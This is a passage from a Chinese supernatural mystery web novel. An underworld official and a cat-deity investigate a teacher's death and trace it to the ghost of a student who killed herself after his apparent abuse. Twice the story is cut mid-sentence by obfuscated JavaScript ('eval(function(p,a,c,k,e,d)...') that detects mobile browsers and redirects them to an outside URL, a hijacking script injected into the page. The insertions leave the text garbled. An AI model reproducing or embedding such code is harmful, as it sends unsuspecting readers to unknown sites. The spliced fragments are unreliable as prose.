同一时间,苏月现趁着警方去问询保安的间隙,探寻了李靖生前的记忆,最后她轻哼一声,得出四个字的结论:死有余辜。 她算是知道为什么,要将男人的尸体摆成这个样子,血是从腿间淌下来的了。 但任务在身,她又不得不继续调查下去。 法医初步判断,李靖的死亡时间在凌晨十二点左右,具体死因,还需要把尸体带回局里做进一步的检验才可下结论。 保安带着其余警察进入教学楼查探,他边走边说:“之前天台上什么都没有,这不是死了一个女学生嘛,学校为了防止再发生这种事,特意全部安装了铁网,还带电呢……” 清一与他们擦肩而过,那人说话时顺便听了一耳朵。 难怪这些网看起来这么新。 他对着苏月现摇摇头:“姐姐,没有找到他在哪跳的楼,所有的天台都被铁网封得死死的。而且连门都是锁上的,普通人根本进不去。” “嗯,因为他不是摔死的。” “啊?” “他是被吓死的。” 苏月现拿出手机,找到了宋宜平死亡的新闻,递给清一看。 照片上的女孩拥有一双小鹿般清澈的眼眸,瞳仁上覆满水汽,目光湿漉漉的惹人怜爱。即便她顶着一头齐耳短发,也难掩漂亮的本色。 “他是被她吓死的。” 听说,宋宜平家里很穷,住在最破的那栋危楼里。楼道里只坠着一颗晃晃悠悠的灯泡,在夜间散发着微弱的光。 她家里有一个母亲,开了一间洗衣店,靠着微薄的收入养活她。她还有一个身体不好的妹妹,从出生就是个药罐子,洗衣店赚的钱大部分都用来给妹妹买药了。因此,宋宜平连上学最基本的书本费,都是找邻居借来的。 但她很争气,从小学习就好。即便在六十六中学这样人才济济的地方,也能排上年级前十名。 人也出落得越发漂亮,在灰头土脸的贫民窟,她是唯一一抹亮色。 发生这样的事,学校再次改成了网上授课。不少学生家长怨声载道,认为没有线下课效果好。 好像死了一个人并没有什么,只要不殃及到自己就行。 事发现场的线索在夜间已经探寻完毕,待太阳探出头,北州市苏醒过来,恢复了生机勃勃的繁荣景象。苏月现便带着清一七拐八绕,周围的楼房越来越破,道路崎岖不平,随处可见躺在地上和衣而眠的流浪者。相隔几条街,却仿佛来到了另一个地方—— 一个被众人遗忘的角落。 他们来到贫民窟,站在了破旧的铁门外。清一低头去看门上挂着的锁,很小一个,垂头丧气的耷拉着。都不用来多有经验的小偷,普通人用一根铁丝就能轻松撬开。 “这锁挂了跟没挂有什么区别。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862126|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “穷苦人家就是这样的,连把像样的锁都买不起。不过屋子里应该没什么值钱的东西,这一片除了破败还是破败,小偷根本不会来。” “我们为什么要来这?” “这是宋宜平的家。” 清一很惊讶:“姐姐,你怎么知道的?” 苏月现想起这个人,就一阵阵犯恶心,她冷冷道:“因为李靖来过。” 六十六中学有家访的传统,尤其像宋宜平这样需要帮助的穷人,更需要老师们去他们家中慰问,以表学校的重视。 因此,李靖第一次来这,就是家访的目的。 两人穿过了门,进到了宋宜平的家。 扑面而来的霉味是迎接他们的礼物,潮湿、陈旧的气息充满在这个狭小的空间中。对于嗅觉灵敏的清一来说,简直是灾难现场。他上来就皱起了眉,赶紧用手捂住口鼻,才坚持没有呕出来。 这里没有窗户,墙壁是用各种各样的报纸糊成的。三根腿的椅子,站不稳的桌子组成了母女三人吃饭的地方。屋子里没有厕所,不远处有个公共卫生间以供附近的居民使用。狭小的厨房连转个身子都显得困难,唯一宽敞的地方,是两姐妹的卧室,也仅仅摆了一张双人床和一张儿童桌子。 每日生活在这样的环境中,不知道还有什么盼头。 宋宜平出事后,学校给了她妈妈一笔钱。但宋母不愿收,她认为自己的女儿不会做出这样的傻事,她的女儿是一个乐观积极的女孩。 这是李靖第三次来到宋宜平的家。 事实证明,她盲目的坚持对于这死水一般的生活,并没有什么用。 她忘记了,她还有个小女儿要养。 清一拉开卧室里的一个抽屉,里面躺着一个已经卷边的本。他随意翻阅起来,发现这是一本日记。 清一赶忙喊来在客厅晃悠的苏月现。 本子虽然破旧,但看得出来,使用者很爱惜,字体工整的记录着生活中的事情。 比如妈妈今天的洗衣店生意很好,也许能买些布料给她缝个喜欢的裙子,再比如宜安这段时间的身体不错,能帮妈妈看店了,还有她自己考试成绩又高了几分,离进入重点班又近了一步。 这篇日记的结尾写道:妈妈很好,安安很好,学校的同学们都很好,我好幸福~ 苏月现的脑中浮现出宋宜平漂亮的脸,想象着她趴在不合适的桌子上写下这些可爱文字的画面,心中柔软一片。 她从没有抱怨过命运的不公,她看到的永远是积极的一面,她说她好幸福。 苏月现环视了一遍这间尽收眼底的破败小屋,摇摇头。 到底哪里幸福。 她又往后翻了几页,不规则的切口无声宣告着日记的结束,最后几天的记录被撕掉了。 随后,开锁声响起。紧接着进来一个小女孩,与她面面相觑。 她身材瘦小,枯黄色的头发随意扎在脑后,皮肤是苍白色,又泛着些憔悴的黄。她长了一双鹰一般的眼睛,目光锐利又警惕。对视上的瞬间,好像扔过来了一把飞刀。 苏月现迅速将日记本放回原处,拉起清一的手就跳进了旁边的墙壁。 转眼间,两人到达了街道上。 苏月现重重呼出一口气,想起那个眼神,仍心有余悸。 “怎么了姐姐?”当时,清一站在里侧,没有看见回来的人,只听见了开门的声音。 “她看见我们了!我确认我跟她对上了眼神!” “谁?竟然能看见我们?” “应该是,宋宜平的妹妹宋宜安。” 21.双生火焰(2) 两人慢悠悠地走在街上,苏月现许久没见到这么强烈的阳光,不适的眯起了眼。暴露在外的皮肤,也开始有些轻微刺痛感。 苏月现忍不住去捂脸,清一感受到了她的异样,快走两步挡在她身前,并为了看清脸转过身来倒着走。 她往前走一步,他刚好后退一步,好像在跳华尔兹。 苏月现笑了一声,叮嘱道:“小心点,别摔着了。” “没事的!我们现在去李靖家吗?” 苏月现想了想,宋宜平这边查了一半,还有她妈妈的洗衣店没有去。但刚刚碰过面的宋宜安明显不是普通人,不知道是不是遗传了宋母。 “我想先去宋宜平妈妈的洗衣店,但我怕她也能看见。” 苏月现停住脚步,站到店铺屋檐打下的阴影里休息,长时间走在阳光下,多少有些不利于她的身心健康。 清一对着苏月现站好,用后背为她挡下最后一点阳光。 冷风拂过,吹掉了缀在树梢上的枯叶,余下光秃秃的枝丫伸向灰白色的天空。 阳光照不到的地方,寒意浓郁。苏月现感受不到温度,却也忍不住搓搓手。 啊,冬天来了。 “宋宜安是不是有……” 清一抛出个引子,苏月现接上他的话:“阴阳眼。” “这种天分世间少有,但我们不是第三人,不好直接下结论。也许是我当时太紧张了,看走眼也说不定。” 苏月现虽然这样说着,但凭借这些年在人间行走的经验,宋宜安有阴阳眼这件事八九不离十。 与她对上眼神的人类不少,大多都是无意的,或想见的人刚好站在她身后。那样直接又准确的眼神,她是第一次见。好像知道她就站在那里一样。 清一想了想,说:“我觉得宋宜平还藏在她家周围。” “但是在她家中没有感受到鬼气。” “所以洗衣店很关键,姐姐,我们现在就去吧。” “万一宋母也有阴阳眼怎么办……” “我们赌一把,就赌宋母是个普通人。” 苏月现凭着李靖的记忆找到了宋母的洗衣店。 没错,李靖曾经来过这里很多次。 在第一次去过宋宜平的家之后,他感受到了她的穷苦。为了照顾她,特意每次都跨越大半个城市,坐车来到宋母的洗衣店进行消费。 宋宜平不喜欢李靖这种带有同情的行为,她不需要他的怜悯,强硬的拒绝了好几次。但宋母心软,总以人家来都来了为由,顺手接过他的衣物。 这间店面很小,房顶嵌着一排排晾衣架,各种各样洗好的衣服被裹在白色塑料布里,整齐的挂着。 每个衣架上都有一个洗衣店的吊牌,详细记录着什么时间哪位顾客拿来的几件衣服。其中,一位叫裴延青的待取衣服尤为多。 宋母已经穿上了羽绒服,靠在椅子上打盹儿,一只手自然下垂,另一只握着手机的手放在心口处,似乎是看视频看睡着了。 “姐姐。”清一拉住苏月现的手,小声道,“这里阴气很重。” 苏月现点点头,她也感受到了。 洗衣店这样的地方本就潮气重,再加上这里藏了一只恶鬼,又湿又冷。晾好的衣服能干就算不错。 不过现在是白天,鬼肯定不出来。并且宋宜安的阴阳眼还没确定,先不能打草惊蛇。 继续往里走便是洗衣房。他们还没走进去,就能听见洗衣机里滚筒的嗡嗡转动声。另一台在甩干,高频率的抖动让机身摇摆起来,导致有咣咣的撞墙声。 两台机器并驾齐驱,机身已经泛黄,老旧的身子骨不知道还能撑多久。 “妈,您怎么在这睡着了?吃饭了。” 宋宜平的声音突然响起,苏月现对她已经有了应激反应,赶忙拉住还在四处看的清一往墙里跑。她一激动,没注意到地上躺着洗衣机的线,直愣愣的踩了上去。电源线调皮的滚动一圈,苏月现被滑得止不住的往前趴。 还好清一反应快,一把架住了她的胳膊,让她的脸没有亲吻到大地。随后带着破碎的苏月现穿墙而过,稳当的落在了外面的街道上。 苏月现被吓得脸更白了,清一顺势将她拥入怀中柔声安慰着。 他们头顶上是洗衣房的小窗,金属边框有些变形所以关不严。洗衣机断电前刺耳的提示音,透过细小的缝隙传入清一耳中。本就听力很好的他,被突如其来的声音吓得抖了一下。 苏月现强忍着笑,踮起脚去摸他的头。 这下换她安慰他了。 想来是苏月现刚才踩那一脚不小心抻到了电源,导致洗衣机断电了。 随即,宋母的声音响起:“诶,是洗衣机的声音吗?” “您接着吃吧,我去看看。” 随着脚步声越来越近,两人赶紧从窗下逃走,藏到了一棵树后。苏月现怕被宋宜安看见,默默戳了戳清一,玩命儿给他使眼神。 他是神,被发现了没什么关系。 清一接收到信号,从树后探出头来。 他看着窗户上露出来一个小脑袋,十六七岁的模样,应该就是宋宜平了。 她四处张望了一会儿,大概是没发现什么,又退了回去。 “没事了姐姐,她没发现我们,已经回去了。” 苏月现松了口气,正要从树后走出来。清一紧急把她推了回去。 “她又出来了!” 只见那颗小脑袋再次露出来,把粘着透明胶带的纸条狠狠拍在了对着街道的那面窗,随后用那双鹰一般的眼睛,盯了一会儿他们藏身的树,再次离开了。 “姐姐,借我一下你的手机,小孩贴了个什么东西,我去拍一下。” 清一弯着腰潜至窗下,举起手机连拍几张照片后迅速折返。 两人兴冲冲的点开相册一看,糊的。 清一尴尬的笑了一声。 还好他拍得够多,最后一张照片虽然歪。但是清楚。 纸条上有一行工整的方块字体:不管你是什么东西,不许来打扰我妈妈!不然要你好看! 她果然能看见! 向来情绪稳定的苏月现炸了,她猛踹了一下树,枯叶如落雨般哗啦啦飘落,惹得路人驻足拍照。 清一蹲下身去揉她的脚踝:“姐姐别生气。” “我活了上千年!竟然被一个小孩威胁了!”苏月现眨眨眼,做了个决定,“今晚我们去她家。” “冷静啊姐姐,晚上她们应该都在家吧,要不明天早晨等她出门了我们再去吧。” “你说的没错,” 清一以为是自己的劝说起了作用,开心的眯起眼睛,却听苏月现继续道—— “晚上她们都应该在家,那宋宜平也在。哼,走,去抓鬼。” 初冬的天黑得很快,主干道上堵满了车,街上都是人们匆忙回家的身影。 家家亮起了暖黄色的灯,饭菜香透过窗子飘洒出来。团圆的氛围笼罩着整个北州市,连月亮都比平日更像白玉盘。 苏月现这次把房子建在了宋宜平家临街的墙里,她怕离得太近被宋宜安一锅端,便选择了一个适中的位置。 她忙完方今昭的事情后,都没有好好换洗过衣服。趁着这次等天黑的机会,她彻底将自己更新了一遍。 清一跟着沾光,为了能按时准备晚饭,他先洗的澡。等苏月现洗好出来时,桌子上已经摆好了今晚的饭菜——两盘饺子。 盘中的饺子皮包馅大,个个挺着圆滚滚的肚子,鲜香诱人。 清一问:“姐姐吃醋还是酱油?” “醋。” 他得到了回答,倒好一碟醋递给了苏月现。 “你吃饺子不吃醋?” “我喜欢什么都不蘸。” 苏月现点点头,夹了一个饺子放入口中。咬破的瞬间,汁水在口中炸开,满足着她的味蕾。 她惊喜的看向清一:“你做的?” “跟凌霄学的,每年冬至都吃这个。” “今天冬至啊。”苏月现咽下口中最后一块肉,怀念道,“我们家那边,冬至吃汤圆。” “我知道呀~以前在姑苏时,姐姐和老爷每年的今天都会从店里早回来一会,为了跟大家吃团圆饭……”清一一股脑把话全说出来了,漏完了才意识到可能勾起了苏月现的伤心往事,赶忙换话题,“呃,汤圆还在锅里煮呢,我想着入乡随俗嘛。北州这边吃饺子,我们就跟着吃饺子。但汤圆也不能忘,所以都吃。” “没关系,都过去了。”苏月现释怀笑笑,“像父亲这么善良的人,早就投胎了吧,没准儿都成神了。” 后半段吃得安静,清一怕再次说错话,真真做到了食不言。 饭后,苏月现计算着时间差不多了,叫上还在收拾厨房的清一出门。 老楼隔音不好,即便他们站在宋宜平家门外,依然能将屋内母女二人的对话听得一清二楚。 宋宜安说,这饺子是买的今天最新鲜的白菜现包的,唯一的缺点是没放肉。 宋母嗔怪她乱花钱,随便吃口就好了,还包什么饺子。 宋宜安提醒,今天是冬至。 她说完,屋子里像被下了禁言咒,只剩下碗筷碰撞的声音。 她们沉默了好一会儿,直到响起了拉动椅子的声音,听着像吃完了,有人起身收拾桌子。 宋母在嘈杂声中缓缓道,一会儿给平平上柱香吧。 摞碗的声音一顿,回答了一个闷闷的嗯。 苏月现在门外听得有些惆怅,刚才的气势汹汹在这一刻被浇灭了。 她垂眼看着脚尖,低声呢喃着:“要是宋母也有阴阳眼就好了,她就能看见她的女儿了。” “那我们的任务难度就会大大加倍,而且我并不认为宋母比宋宜安理智。虽然这小孩看起来凶巴巴的特别莽,但是心里跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871617|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明镜似的,知道每步该怎么走。如果宋母有阴阳眼,她一定阻止你带走宋宜平。” “你感应到了?” 清一的瞳变成了金色,目光落在这道门上:“宋宜平就在里面,没准儿就坐在宋母对面呢。” 苏月现叹口气:“要不我们等会儿再来吧,等宋母睡了?” “好。”清一看出了苏月现情绪低落,拉住了她的手带她走出楼道,“我陪你。” 他们刚见了月色,侧头便看见了一位又老又年轻的男人站在那望着宋宜平家。 清一没见过他,霎那间变得警惕。金色的瞳孔细了许多,眼神尖锐起来。 “哟,这么厉害的猫。”吴界拍拍手,“你就是苏月现的小对象?” 这句话说到了清一心坎上,好感度瞬间发生一百八十度逆转,收起了攻击性。 “你来这干什么?收徒?”苏月现不动声色的将清一拦在身后,“宋宜安?” “还得是我们苏女官,就是聪明。” 苏月现皱起眉没说话,她最讨厌油嘴滑舌的人。 吴界是个不识趣的,还要往上凑。却没料到苏月现直接举起了伞,镶着枪尖的伞头直指着他。 “诶,别这么凶嘛。” “你们第三人消息真灵通,我刚发现她是阴阳眼不久,你就来了。” “苏女官,我们不是鬼也不是神,飞不起来也穿不过空间。我们是人,需要交通工具,我已经很快了好嘛!” 苏月现收起伞,没好气地说道:“不是用我们做测试就好。” 吴界这才明白,原来这位鬼差以为他偷偷藏起来观察宋宜安对她的反应了,这不是误会大了吗! “我们第三人有自己的判断方式,也不是所有阴阳眼都收入麾下的好嘛!这是一种极难得的天赋,太小觉醒不好,太老觉醒不好,宋宜安这个年纪是最正好的。她灵力真的很高,是百年难遇的好苗子,我感应到了之后可是马不停蹄的往这赶啊!” “那你京城的事儿解决了?盛家最近如何?” “据我所知,盛董事长快不行了,下一个该轮到他大儿子了。”吴界摇摇头,“盛夫人还在满世界宣扬我是个骗子,谁不知道我吴家在这行当里的地位。” 苏月现轻哼一声:“自作自受,自食恶果。” “好了,误会解除,我要去收徒了!” “诶,你等会儿,我恶鬼还没抓呢,你先不能带宋宜安走。” “你抓你的鬼,我收我的徒,互不干涉啊。” “不一定。你应该能感应到吧,鬼就在她们屋中。宋宜安有阴阳眼,但她没有任何动静,这难道不说明问题吗?” “能有什么问题?她要是被鬼威胁了或者怎么样,不让她发出动静呢?” 苏月现想起宋宜安写的纸条,还有那双锐利的眼睛,冷冷道:“她可不是轻易就能被威胁的人。” 突然,一辆黑色的汽车驶进街道。车头上的奔驰标,在月色的映照下闪着银白色的光。 戴着白手套的司机下了车,恭敬的跑到后座去拉门。随后,从车上下来一个戴着口罩的小男孩。看不清全部模样,但仅通过露出来的眉眼,不难判断出长得不错。他穿着随意的卫衣长裤,也难掩出尘的气质。 男孩手上拎了一个小布袋,他走进楼道,扣响了宋宜平家的门。 下一秒,门开了,宋宜安探出头来。苏月现赶忙往后藏。 “你来做什么?” “我来给你们送点吃的,阿姨最近还好吗?” “挺好的,吃的就不必了。” “那这个钱你拿走吧!” “谢谢,钱更不必了。还有,裴延青你能不能不要再来我家洗衣服了,你家这么有钱没有请佣人吗?你这种补偿方式我们不需要。” “安安,谁来啦~” “妈,没谁,卖保险的。” “诶!” 男孩明显还想说什么,宋宜平没给他这个机会,砰的一声关上了门。 男孩叹了口气,回到车上离开了。 街上的三人听得面面相觑。 这是什么惊天大瓜啊! “裴延青,裴延青……”苏月现反复念叨着这个名字。 清一嗅到了情敌的味道,顿时警铃大作:“怎么了姐姐?这个男孩怎么了?” “好耳熟的名字。” 说着她拿出手机,点开V博进行搜索—— 【最爱青青:接青青皇族出道[图]#裴延青】 【山山而川:接青青c位出道!!#裴延青】 【不吃香菜:没想到孩子背景这么硬!我要当太子妈啊啊啊啊!#裴延青】 …… “怪不得戴口罩。”清一酸酸的说,“原来是个爱豆啊。” 吴界懵懵的问:“爱豆是什么豆?” 苏月现无语:“你真的常年活在人间吗……” 22.双生火焰(3) 裴延青的初次亮相是在同公司前辈的个人演唱会上唱了一首歌,当天他的直拍就冲上了A站首页,不少网友纷纷去公司官v下留言问这个小孩的名字。 没过多久,相映互娱公布了十周年短片,裴延青拥有怼脸镜头数秒,让其余没有关注直拍的网友注意到了这张新鲜的脸。 他靠着有目共睹的唱歌实力和让人眼前一亮的容颜迅速圈了一批接生粉。 随着话题度日渐提高,有人扒出了裴延青的家世,父亲在北州市教育局工作,母亲经营自己的服装品牌。为此,他被粉丝们亲切称为“太子”、“皇族”。还有人扒出他的经历,曾在北州市第六十六中学读书,现学校未知。 大家感叹道,果然做明星是有钱人的游戏。 不管怎么说,裴延青这样有名有权的富贵子弟,很难跟穷苦的宋宜平扯上关系。他们应该是两条毫无关系的平行线,各自行驶在自己的轨道上,去往不同的未来。 但通过今天的情况来看,裴延青不仅认识宋宜平,还跟她很熟。他们之间拉扯着一根看不见的线,并且在宋宜平死亡后顺延到了她的家人身上。 要么裴延青性格极差,粉丝口中的温柔随和都是人设包装,他曾经在学校对宋宜平做过一些不好的事情,在女孩死后突然良心发现、痛改前非,用弥补她家人的方式来达到自己心灵的解脱。 如果是这种情况,罪恶的种子早已深埋他的心底,他不会悔改,更不会上门找骂。并且以宋宜安的性格,知道这些事情后根本不可能和颜悦色的对待他。 要么裴延青与宋宜平有些特别的羁绊,友情也好爱情也罢,或是宋宜平死前跟他发生了一些事情,导致裴延青一直耿耿于怀。 通过宋宜平的日记可以看出她与妹妹关系很好,两姐妹平时无话不谈。宋宜安一定知道姐姐与这个男孩的全部事情,今天才会跟裴延青还算心平气和的说话。 既然如此,她知不知道李靖跟宋宜平的事呢? 她若是知道,是活着的宋宜平说的,还是死后的宋宜平说的? 她到底有没有参与杀死李靖? 苏月现在那理着缠成一团的思绪,就听见吴界还在跟清一讨论有关爱豆的八卦。 这都什么时候了,能不能有点紧张感? 苏月现气得头顶上燃起了蓝色的鬼火,在初冬的夜晚冒着白烟。 清一嗅到了一丝糊味,他顺着味道飘来的方向扭过头去,发现他的姐姐自顾自的燃起来了。 清一意识到大事不好,默默闭了嘴,并拍了拍求知欲极强的吴界,用眼神示意他别问了,姐姐生气了。 吴界眼明心亮,配合的打开了静音模式。 世界安静了下来,苏月现很满意,恢复成了往日冷静的模样:“十二点了,宋母差不多睡深了,清一我们走吧。” 清一收到指令赶忙动身,吴界也跟了上去,往前走了几步被苏月现拦了下来。 她问:“你干什么?” “嗯?不是进她家吗?” “我说了,我要先查李靖的案子,宋宜安很重要你先不能带她走,收徒的事能不能再等等啊。” “你查你的,我收我的,互不干涉啊!” “可你跟她说完了,她觉得自己有退路不说实话了怎么办?” “我们第三人很有原则好吗!她要是真的杀人了,她再有天分我也不会收的。” “不行,我还是不放心,你可以跟着我进去,但先别提收徒行不行?” “行行行,都听我们苏女官的。” 苏月现特意给了吴界一张隐身纸:“一会儿你进门的时候,就把它贴在身上,他们就看不见你了。” “那宋宜安能看见吗?” “按理说不能,但谁知道呢?不对啊,这问题该是我问你啊,你难道不是更清楚阴阳眼的事情吗!” 吴界尴尬的挠了挠头:“其实我学术也不精……很多事都一知半解,哈哈哈哈……”说完,他尴尬的笑起来。 苏月现无语,不想再跟他多说什么:“那你一会儿就做个实验吧。” 零点的初冬,寒风更为凛冽,刀子似的往脸上刮,却不见血痕。 这样两日交替的时间点,是鬼类显形的最佳时机。 感受不到温度的清一突然打了个寒颤,冷空气中夹杂的鬼气,羽毛似的从他鼻前轻柔滑过。蜻蜓点水般的重量,却在他的世界里留下了如泰山压顶的印记。 清一的金瞳亮起,猛地抓住了苏月现的手。 “我感觉到了。” 苏月现点点头,对吴界使了个眼色。男人将隐身纸贴在身上,确定没问题后,三人走进楼道,趴在铁门上认真听着屋内的动静。 清一耳力好,听得更清楚些:“姐姐,出来吧……今天有人……我已经警告他们了……你在想什么!我们没有错!那些警察……” “她刚才是喊姐姐了吗?她还说什么了……哎呀听不清楚。”苏月现小声嘟囔着。 “刚才她应该在跟宋宜平说今天她遇见我们的事情,还提到了李靖,说他们没有错。我猜宋宜平为了保险没说话,她用笔跟她交流的。” “二位,现在进去吗?”吴界揉了揉腿,“我腿麻了……” “我们走吧。” “姐姐!”清一拉住了苏月现,郑重说道,“你可想好了,这一进去就没有回头路了。我们还不够了解她们,这样是不是太莽撞了。” “清一,你什么时候变得婆婆妈妈的?” “我只是不想你再受罚了。”清一低下头,“其实我知道你上次被阎王罚了,我不想你再因为不想干的人挨罚,虽然真相很重要但是……” 苏月现有些惊讶的眨眨眼,看来清一走过这一路还是有很多成长的。他开始看见众生不同的苦难,开始在意人类的命运,开始想要寻求真相。而不是为了达到自己的目的不择手段。 “不会的,放心吧。”苏月现抬手摸了摸他的头,“我没有莽撞,虽然我还没接触过宋宜平,但通过日记我猜她是个温柔善良的人,我觉得她这样的性格不会主动杀李靖,没准儿是受到了挑唆或者什么刺激。我们在这猜来猜去也没个结果,不如直接问个明白。” “没关系,只要你想好了,我们就进去。” 三人刚踏进宋宜平的家,宋宜安的刀眼就准确的朝他们的方向飞来。 “又是你们。”宋宜安上前一步,用娇小的身躯挡住了她的姐姐,“我说了,再来我就不客气了。” 又是你们?看来她看不见贴着隐身纸的吴界。男人也意识到了这一点,识趣的没说话,静静观看这一出好戏。 “安安,别这样跟人家说话……” 宋宜平温柔的声音刚响起,就被宋宜安制止住了。 “姐姐,你保护好自己,别说话,谁知道来的是什么阿猫阿狗。” “小孩,我劝你对她客气点,她可是掌管你姐姐的生死。”清一忍受不了别人这么对待 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宋宜安多疑,显然还在怀疑着她话中的真实性。倒是宋宜平从身后走了出来,笑着跟他们打招呼:“我替妈妈谢谢你们,她确实很久没睡过好觉了。” 她虽笑着,却是一副悲伤模样,低垂着眉眼泫然欲泣。 宋宜平的真实模样比照片上还要漂亮几分,一颦一笑都牵动着人心。 姐妹这样站在一起,乍一看真有几分道不明的相似感。只不过,比起宋宜平毫无攻击性白花似的温柔气质,宋宜安给人的感觉更锋利一些,像烧不尽的劲草,倔强的生长在这天地间。 “姐姐!你——” “好了安安,你可能感受不到……但身为鬼,我能感受得到。这二位很强,尤其是这位小姐。他们要想伤害我,早就动手了,不会跟你说这么说的。”宋宜平拍了拍身旁的床,“要是不嫌弃,就坐吧。你们想知道什么我都说。” 两人对视一眼,接受了宋宜平的邀请。宋宜安还是那副不好惹的样子,站在一旁,眼神直愣愣的盯着他们。 “你好,我是苏月现,下界的阎罗殿女官。这位是清一,上界的神官。接下来我会问你一些问题,请你务必如实回答。这将关乎到你需要去到地狱的哪一层。“ “好的。” 苏月现没客气,上来直奔主题:“李靖是你杀的吗?” 宋宜安眼都没眨,回答道:“是。他该死。” “我从他的记忆中看到,他对你做了一些不好的事情……虽然这么问不太好但是抱歉,这是导致你跳楼的原因吗?” 宋宜平沉默了一会儿,轻笑一声:“是。” “喂!你怎么说话的!”宋宜安不满的喊道。 清一抬眼看了过去,女孩被他的金瞳唬住了没再说话,只好嘟起嘴来表达情绪。 “苏女官,我是不是一个很懦弱的人。” “跳下去的那一刻,你在想什么?” “我在想,虽然有些对不起妈妈和安安,但是我终于得到解脱了。那是一种,很自由的感觉。” “这就够了。我知道你已经坚持了很久了,没有什么对不对得起,人生是自己的。我相信你做出这个决定时,已经思考得够多了,所以我不准备劝你,我会夸奖你。接受死亡,也是一种勇气。宋宜平,你很棒。” 23.双生火焰(4) 宋宜平的眸总是覆着一层水汽,像清晨的湖面一样朦胧。大雾散去,才可看清湖中风光。深入其中,才可探明湖底深浅。 苏月现撩起眼皮,在宋宜平垂眸说话时用余光瞧了一眼清一。 “宋小姐,虽然很冒昧,但能否说一说,你们具体发生了什么。”清一开口吸引宋宜平看过来。 女孩是个礼貌的人,家教良好的她会在别人说话时认真看着对方的眼睛。 于是,她一转头便撞上了清一金色的瞳。 男人趁机看到了她灵魂颜色——是纯粹的白。 清一对着苏月现小幅度的点点头。 苏月现有些惊讶的挑眉,心中想:原来这世界上真有这么善良美好的人。 宋宜平叹出一口气,似是下了很大决心:“那,我就给大家讲一讲这个不美好的故事吧。” “姐姐!”宋宜安上前握住她冰冷的手,“你不愿意说可以不说,哪怕他们是什么女官什么神!” “安安,没事。”宋宜平反手握住了宋宜安,安抚着,“都过去了。” 苏月现摇摇头,心中感叹着世事无常。 宋家给这双生女取名寓意平安,却一个重病一个早亡。 无一平安。 宋宜平认识李靖是在高二开学第一天。 李靖是他们的班主任,能进入他的班级,宋宜平一直认为是她的荣幸。她物理学的并不好,在所有小科目中分数最低。但她总成绩排名高,因此进入到了重点班。 李靖是六十六中学的明星教师,在这个除了学习还是学习,连吃饭洗澡都认为是在浪费时间的地方,他帅气的脸是处于青春期女孩儿们的慰藉。 李靖五官立体,但线条柔和。他眼皮薄,眼尾轻微上挑,带着些女孩儿的俏皮,却在他的脸上显现得恰到好处。他的下唇边有一处细小的疤痕,需要仔细瞧才能看见。 他跟同学们闲聊时透露,那是他高中时为了追寻刺激,瞒着父母去打的唇钉。最后还是被发现,强行摘掉后长死了,落下了这样一个疤。 宋宜平一直觉得,像李靖这样风光霁月的人,一生应是顺风顺水,幸福安稳。但李靖却说,他在这个年纪,因为叛逆、因为成绩不好经常被父母打骂。他说,没有一个人的成长是不痛苦的。就像儿时每个人都得过腿疼的怪病,后来才知道,这叫生长痛。 每个人都是在堆叠的痛苦中成长,这样的人生才不无聊,才有所经历,有所体验。将这些感受转化为经验与动力,这才叫长大。 这些苏月现看来是毒鸡汤的话,在青春期的男孩女孩眼中,李靖是最理解他们的人。 他们视他为挚友,在学习之余,常有人去找他谈心。 李靖这样长相帅气、有能力又温柔的男人,最能吸引这个年龄段的女生。越来越多的女孩生出了不该有的心思,在枝桠疯长的夏季,爱意成了片片绿叶,长成了繁茂的树。有些胆大的女孩,会偷偷进入办公室,将情书放在李靖的办公桌上。然而这位温柔的老师,不会拆穿小女孩的心思。宋宜平一次去办公室送作业时,看见李靖拆开了一封画着爱心的信,认真看完后放到了柜子里。 宋宜平认识那个信封,那是数学课代表写的。那个女孩在写信之前还问过她,要不要送出去。 刚好,下一节是李靖的课,但他全程都没有讲过信的事情,也没有说过不要再送信了。 后来,堆在他办公桌上的信越来越多,学校偷偷找他谈过话恰巧,宋宜平去领学校发的补助,她站在教务处门口,将屋内的对话听得一清二楚。 校长让他说出写信女生的名字,他说太多了记不清。校长让他把信交给学校,他说收起来放家里了。校长让他警告女孩们,不许早恋不许再写这些乱七八糟的信,他说这是她们的自由。 如果这件事情变得更加严重,他会出言制止。但如果仅仅是写一写表达情感的信件,那么这应该被允许。 每个人都拥有喜欢和表达喜欢的权利,无关年龄。 这一刻,宋宜平也动心了。 并非男女之情,而是崇拜、憧憬。 她想要成为跟他一样的人。 苏月现听到这,轻哼一声:“人面兽心。” 宋宜平笑得苦涩,她想如果时间可以倒流就好了,停止在感受到美好的这一刻。 可惜时间残忍,不给人们反悔的机会。 宋宜平物理不好,所以李靖格外关注她,让她做了物理课代表,以此来激励她进步。 宋宜平不想辜负李靖的期望,更加没日没夜的学起来。为了省电费,宋宜平会抱着课本蹲在路灯下学习,常常凌晨两三点才回家。 宋宜安身体不好,家里又没钱,顺势没有上高中,平时帮着宋母打理洗衣店,也能让越来越年迈的母亲省力些。 宋宜安的未来一眼能望到头,宋家只能靠宋宜平学出一条路来。所以姐姐每次出门每次回家,宋宜安都知道,但她会装作没听见。她觉得她的姐姐已经够辛苦的了,不想再让她费心瞒家人,她所有的精力都该用在学习上。 这样的日夜苦读,导致宋宜平在李靖的课上睡着了。 男人非常生气,叫女孩拿着书本站到教室最后听课。 